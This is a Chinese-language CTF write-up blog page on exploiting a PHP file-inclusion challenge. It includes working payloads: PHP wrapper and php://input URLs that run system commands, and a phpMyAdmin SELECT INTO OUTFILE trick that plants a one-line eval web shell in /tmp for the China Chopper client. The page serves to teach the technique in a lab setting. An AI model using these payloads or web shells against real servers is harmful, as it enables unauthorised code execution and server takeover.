<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2">
<meta name="theme-color" content="#222">
<meta name="generator" content="Hexo 5.2.0">
  <link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png">
  <link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png">
  <link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png">
  <link rel="mask-icon" href="/images/logo.svg" color="#222">

<link rel="stylesheet" href="/css/main.css">


<link rel="stylesheet" href="/lib/font-awesome/css/all.min.css">

<script id="hexo-configurations">
    var NexT = window.NexT || {};
    var CONFIG = {"hostname":"example.com","root":"/","scheme":"Pisces","version":"7.8.0","exturl":false,"sidebar":{"position":"left","display":"post","padding":18,"offset":12,"onmobile":false},"copycode":{"enable":false,"show_result":false,"style":null},"back2top":{"enable":true,"sidebar":false,"scrollpercent":false},"bookmark":{"enable":false,"color":"#222","save":"auto"},"fancybox":false,"mediumzoom":false,"lazyload":false,"pangu":false,"comments":{"style":"tabs","active":null,"storage":true,"lazyload":false,"nav":null},"algolia":{"hits":{"per_page":10},"labels":{"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}},"localsearch":{"enable":false,"trigger":"auto","top_n_per_article":1,"unescape":false,"preload":false},"motion":{"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}}};
  </script>

  <meta name="description" content="如何利用php文件包含，即include">
<meta property="og:type" content="article">
<meta property="og:title" content="Web_php_include">
<meta property="og:url" content="http://example.com/2020/03/26/CTF/web_wp/Web-php-include/index.html">
<meta property="og:site_name" content="ThWh&#39;s Blog">
<meta property="og:description" content="如何利用php文件包含，即include">
<meta property="og:locale" content="en_US">
<meta property="article:published_time" content="2020-03-26T07:00:38.000Z">
<meta property="article:modified_time" content="2020-09-25T12:48:22.460Z">
<meta property="article:author" content="ThWh">
<meta property="article:tag" content="Writeups">
<meta property="article:tag" content="Web">
<meta property="article:tag" content="代码审计">
<meta name="twitter:card" content="summary">

<link rel="canonical" href="http://example.com/2020/03/26/CTF/web_wp/Web-php-include/">


<script id="page-configurations">
  // https://hexo.io/docs/variables.html
  CONFIG.page = {
    sidebar: "",
    isHome : false,
    isPost : true,
    lang   : 'en'
  };
</script>

  <title>Web_php_include | ThWh's Blog</title>
  






  <noscript>
  <style>
  .use-motion .brand,
  .use-motion .menu-item,
  .sidebar-inner,
  .use-motion .post-block,
  .use-motion .pagination,
  .use-motion .comments,
  .use-motion .post-header,
  .use-motion .post-body,
  .use-motion .collection-header { opacity: initial; }

  .use-motion .site-title,
  .use-motion .site-subtitle {
    opacity: initial;
    top: initial;
  }

  .use-motion .logo-line-before i { left: initial; }
  .use-motion .logo-line-after i { right: initial; }
  </style>
</noscript>

</head>

<body itemscope itemtype="http://schema.org/WebPage">
  <div class="container use-motion">
    <div class="headband"></div>

    <header class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-container">
  <div class="site-nav-toggle">
    <div class="toggle" aria-label="Toggle navigation bar">
      <span class="toggle-line toggle-line-first"></span>
      <span class="toggle-line toggle-line-middle"></span>
      <span class="toggle-line toggle-line-last"></span>
    </div>
  </div>

  <div class="site-meta">

    <a href="/" class="brand" rel="start">
      <span class="logo-line-before"><i></i></span>
      <h1 class="site-title">ThWh's Blog</h1>
      <span class="logo-line-after"><i></i></span>
    </a>
  </div>

  <div class="site-nav-right">
    <div class="toggle popup-trigger">
    </div>
  </div>
</div>




<nav class="site-nav">
  <ul id="menu" class="main-menu menu">
        <li class="menu-item menu-item-home">

    <a href="/" rel="section"><i class="fa fa-home fa-fw"></i>Home</a>

  </li>
        <li class="menu-item menu-item-about">

    <a href="/about/" rel="section"><i class="fa fa-user fa-fw"></i>About</a>

  </li>
        <li class="menu-item menu-item-tags">

    <a href="/tags/" rel="section"><i class="fa fa-tags fa-fw"></i>Tags</a>

  </li>
        <li class="menu-item menu-item-categories">

    <a href="/categories/" rel="section"><i class="fa fa-th fa-fw"></i>Categories</a>

  </li>
        <li class="menu-item menu-item-archives">

    <a href="/archives/" rel="section"><i class="fa fa-archive fa-fw"></i>Archives</a>

  </li>
  </ul>
</nav>




</div>
    </header>

    
  <div class="back-to-top">
    <i class="fa fa-arrow-up"></i>
    <span>0%</span>
  </div>


    <main class="main">
      <div class="main-inner">
        <div class="content-wrap">
          

          <div class="content post posts-expand">
            

    
  
  
  <article itemscope itemtype="http://schema.org/Article" class="post-block" lang="en">
    <link itemprop="mainEntityOfPage" href="http://example.com/2020/03/26/CTF/web_wp/Web-php-include/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="image" content="/images/avatar.gif">
      <meta itemprop="name" content="ThWh">
      <meta itemprop="description" content="">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="ThWh's Blog">
    </span>
      <header class="post-header">
        <h1 class="post-title" itemprop="name headline">
          Web_php_include
        </h1>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="far fa-calendar"></i>
              </span>
              <span class="post-meta-item-text">Posted on</span>

              <time title="Created: 2020-03-26 15:00:38" itemprop="dateCreated datePublished" datetime="2020-03-26T15:00:38+08:00">2020-03-26</time>
            </span>
              <span class="post-meta-item">
                <span class="post-meta-item-icon">
                  <i class="far fa-calendar-check"></i>
                </span>
                <span class="post-meta-item-text">Edited on</span>
                <time title="Modified: 2020-09-25 20:48:22" itemprop="dateModified" datetime="2020-09-25T20:48:22+08:00">2020-09-25</time>
              </span>
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="far fa-folder"></i>
              </span>
              <span class="post-meta-item-text">In</span>
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
                  <a href="/categories/CTF/" itemprop="url" rel="index"><span itemprop="name">CTF</span></a>
                </span>
            </span>

          

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
        <p>如何利用php文件包含，即include</p>
<a id="more"></a>

<h2 id="解法一（官方writeup）"><a href="#解法一（官方writeup）" class="headerlink" title="解法一（官方writeup）"></a>解法一（官方writeup）</h2><h3 id="【原理】"><a href="#【原理】" class="headerlink" title="【原理】"></a>【原理】</h3><p>php文件包含</p>
<h3 id="【目的】"><a href="#【目的】" class="headerlink" title="【目的】"></a>【目的】</h3><p>了解如何利用php文件包含</p>
<h3 id="【环境】"><a href="#【环境】" class="headerlink" title="【环境】"></a>【环境】</h3><p>Windows</p>
<h3 id="【工具】"><a href="#【工具】" class="headerlink" title="【工具】"></a>【工具】</h3><p>chrome</p>
<h3 id="【步骤】"><a href="#【步骤】" class="headerlink" title="【步骤】"></a>【步骤】</h3><p>1.审计php代码,while函数根据page参数来判断php文件是否存在，如果存在此文件，则进行文件包含。</p>
<p>2.默认页面为<a target="_blank" rel="noopener" href="http://127.0.0.1/index.php%EF%BC%8C%E8%AE%BE%E7%BD%AE%E4%B8%BApage%E5%80%BC%EF%BC%8C%E5%8F%AF%E7%A1%AE%E4%BF%9Dwhile%E4%B8%BA%E7%9C%9F">http://127.0.0.1/index.php，设置为page值，可确保while为真</a></p>
<p>3.利用hello参数将执行内容显示，flag如图所示</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">http:&#x2F;&#x2F;192.168.100.161:50281&#x2F;?page&#x3D;PHP:&#x2F;&#x2F;%3C?system(%22ls%22);?%3E</span><br><span class="line">http:&#x2F;&#x2F;192.168.100.161:50281&#x2F;?page&#x3D;http:&#x2F;&#x2F;127.0.0.1&#x2F;index.php&#x2F;?hello&#x3D;%3C?show_source(%22fl4gisisish3r3.php%22);?%3E</span><br></pre></td></tr></table></figure>


<h2 id="解法二"><a href="#解法二" class="headerlink" title="解法二"></a>解法二</h2><p>strstr()函数区分大小写<br>传参/?page=PHP://input<br>之后还要POST参数<br>但是hackbar是真的不好用，post跟个假的一样<br>用burp编辑输入&lt;?php system(“ls”)?&gt;</p>


<p>之后同样burp传参 page= &lt;?php system(“cat fl4gisisish3r3.php);?&gt;<br>得到flag</p>


<h2 id="不会的解法：连后台"><a href="#不会的解法：连后台" class="headerlink" title="不会的解法：连后台"></a>不会的解法：连后台</h2><p>扫描后台的确会发现一个phpmyadmin.php的目录，打开后随意用户名和空密码可以登录</p>

<p>然后我就不会了</p>
<hr>
<p>扫目录   发现phpinfo()可以看到绝对路径   和  phpmyadmin</p>
<p>进入phpmyadmin页面   root直接空密码登录</p>
<p>查看phpmyadmin变量 secure file priv 值为空  说明可以写入一句话</p>
<p>load_file()可以读取任意文件</p>
<p>…….在经过各种尝试写人一句话再用文件包含读取的过程中.发现权限有各种限制。<br>…….因为page可以直接包含phpinfo()页面显示，所以以phpinfo()为测试，测试到/tmp 目录可以写入，也可以包含读取。<br>    于是将一句话写入/tmp，菜刀链接文件包含页面，得到flag</p>
<?php eval(@$_POST['flag']); ?>

<p>select “<?php eval(@$_POST['flag']); ?>“into outfile ‘/var/lib/mysql/test1.php’  能写入，无法包含。<br>select “<?php eval(@$_POST['flag']); ?>“into outfile ‘/var/www/test1.php’  无法写入<br>…………<br>………..<br>…….</p>
<p>select “<?php eval(@$_POST['flag']); ?>“into outfile ‘/tmp/test.php’  可以写入</p>
<p><a target="_blank" rel="noopener" href="http://111.198.29.45:36252/?page=/tmp/test.php">http://111.198.29.45:36252/?page=/tmp/test.php</a> 菜刀链接</p>

    </div>

    
    
    

      <footer class="post-footer">
          <div class="post-tags">
              <a href="/tags/Writeups/" rel="tag"># Writeups</a>
              <a href="/tags/Web/" rel="tag"># Web</a>
              <a href="/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/" rel="tag"># 代码审计</a>
          </div>

        


        
    <div class="post-nav">
      <div class="post-nav-item">
    <a href="/2020/03/26/CTF/web_wp/php-rce/" rel="prev" title="php_rce">
      <i class="fa fa-chevron-left"></i> php_rce
    </a></div>
      <div class="post-nav-item">
    <a href="/2020/03/27/CTF/web_wp/Web-php-unserialize/" rel="next" title="攻防世界Web_php_unserialize">
      攻防世界Web_php_unserialize <i class="fa fa-chevron-right"></i>
    </a></div>
    </div>
      </footer>
    
  </article>
  
  
  



          </div>
          

<script>
  window.addEventListener('tabs:register', () => {
    let { activeClass } = CONFIG.comments;
    if (CONFIG.comments.storage) {
      activeClass = localStorage.getItem('comments_active') || activeClass;
    }
    if (activeClass) {
      let activeTab = document.querySelector(`a[href="#comment-${activeClass}"]`);
      if (activeTab) {
        activeTab.click();
      }
    }
  });
  if (CONFIG.comments.storage) {
    window.addEventListener('tabs:click', event => {
      if (!event.target.matches('.tabs-comment .tab-content .tab-pane')) return;
      let commentClass = event.target.classList[1];
      localStorage.setItem('comments_active', commentClass);
    });
  }
</script>

        </div>
          
  
  <div class="toggle sidebar-toggle">
    <span class="toggle-line toggle-line-first"></span>
    <span class="toggle-line toggle-line-middle"></span>
    <span class="toggle-line toggle-line-last"></span>
  </div>

  <aside class="sidebar">
    <div class="sidebar-inner">

      <ul class="sidebar-nav motion-element">
        <li class="sidebar-nav-toc">
          Table of Contents
        </li>
        <li class="sidebar-nav-overview">
          Overview
        </li>
      </ul>

      <!--noindex-->
      <div class="post-toc-wrap sidebar-panel">
          <div class="post-toc motion-element"><ol class="nav"><li class="nav-item nav-level-2"><a class="nav-link" href="#%E8%A7%A3%E6%B3%95%E4%B8%80%EF%BC%88%E5%AE%98%E6%96%B9writeup%EF%BC%89"><span class="nav-number">1.</span> <span class="nav-text">解法一（官方writeup）</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#%E3%80%90%E5%8E%9F%E7%90%86%E3%80%91"><span class="nav-number">1.1.</span> <span class="nav-text">【原理】</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E3%80%90%E7%9B%AE%E7%9A%84%E3%80%91"><span class="nav-number">1.2.</span> <span class="nav-text">【目的】</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E3%80%90%E7%8E%AF%E5%A2%83%E3%80%91"><span class="nav-number">1.3.</span> <span class="nav-text">【环境】</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E3%80%90%E5%B7%A5%E5%85%B7%E3%80%91"><span class="nav-number">1.4.</span> <span class="nav-text">【工具】</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E3%80%90%E6%AD%A5%E9%AA%A4%E3%80%91"><span class="nav-number">1.5.</span> <span class="nav-text">【步骤】</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E8%A7%A3%E6%B3%95%E4%BA%8C"><span class="nav-number">2.</span> <span class="nav-text">解法二</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E4%B8%8D%E4%BC%9A%E7%9A%84%E8%A7%A3%E6%B3%95%EF%BC%9A%E8%BF%9E%E5%90%8E%E5%8F%B0"><span class="nav-number">3.</span> <span class="nav-text">不会的解法：连后台</span></a></li></ol></div>
      </div>
      <!--/noindex-->

      <div class="site-overview-wrap sidebar-panel">
        <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
  <p class="site-author-name" itemprop="name">ThWh</p>
  <div class="site-description" itemprop="description"></div>
</div>
<div class="site-state-wrap motion-element">
  <nav class="site-state">
      <div class="site-state-item site-state-posts">
          <a href="/archives/">
        
          <span class="site-state-item-count">13</span>
          <span class="site-state-item-name">posts</span>
        </a>
      </div>
      <div class="site-state-item site-state-categories">
            <a href="/categories/">
          
        <span class="site-state-item-count">2</span>
        <span class="site-state-item-name">categories</span></a>
      </div>
      <div class="site-state-item site-state-tags">
            <a href="/tags/">
          
        <span class="site-state-item-count">10</span>
        <span class="site-state-item-name">tags</span></a>
      </div>
  </nav>
</div>



      </div>

    </div>
  </aside>
  <div id="sidebar-dimmer"></div>


      </div>
    </main>

    <footer class="footer">
      <div class="footer-inner">
        

        

<div class="copyright">
  
  &copy; 
  <span itemprop="copyrightYear">2020</span>
  <span class="with-love">
    <i class="fa fa-heart"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">ThWh</span>
</div>
  <div class="powered-by">Powered by <a href="https://hexo.io/" class="theme-link" rel="noopener" target="_blank">Hexo</a> & <a href="https://pisces.theme-next.org/" class="theme-link" rel="noopener" target="_blank">NexT.Pisces</a>
  </div>

        








      </div>
    </footer>
  </div>

  
  <script src="/lib/anime.min.js"></script>
  <script src="/lib/velocity/velocity.min.js"></script>
  <script src="/lib/velocity/velocity.ui.min.js"></script>

<script src="/js/utils.js"></script>

<script src="/js/motion.js"></script>


<script src="/js/schemes/pisces.js"></script>


<script src="/js/next-boot.js"></script>




  















  

  

</body>
</html>
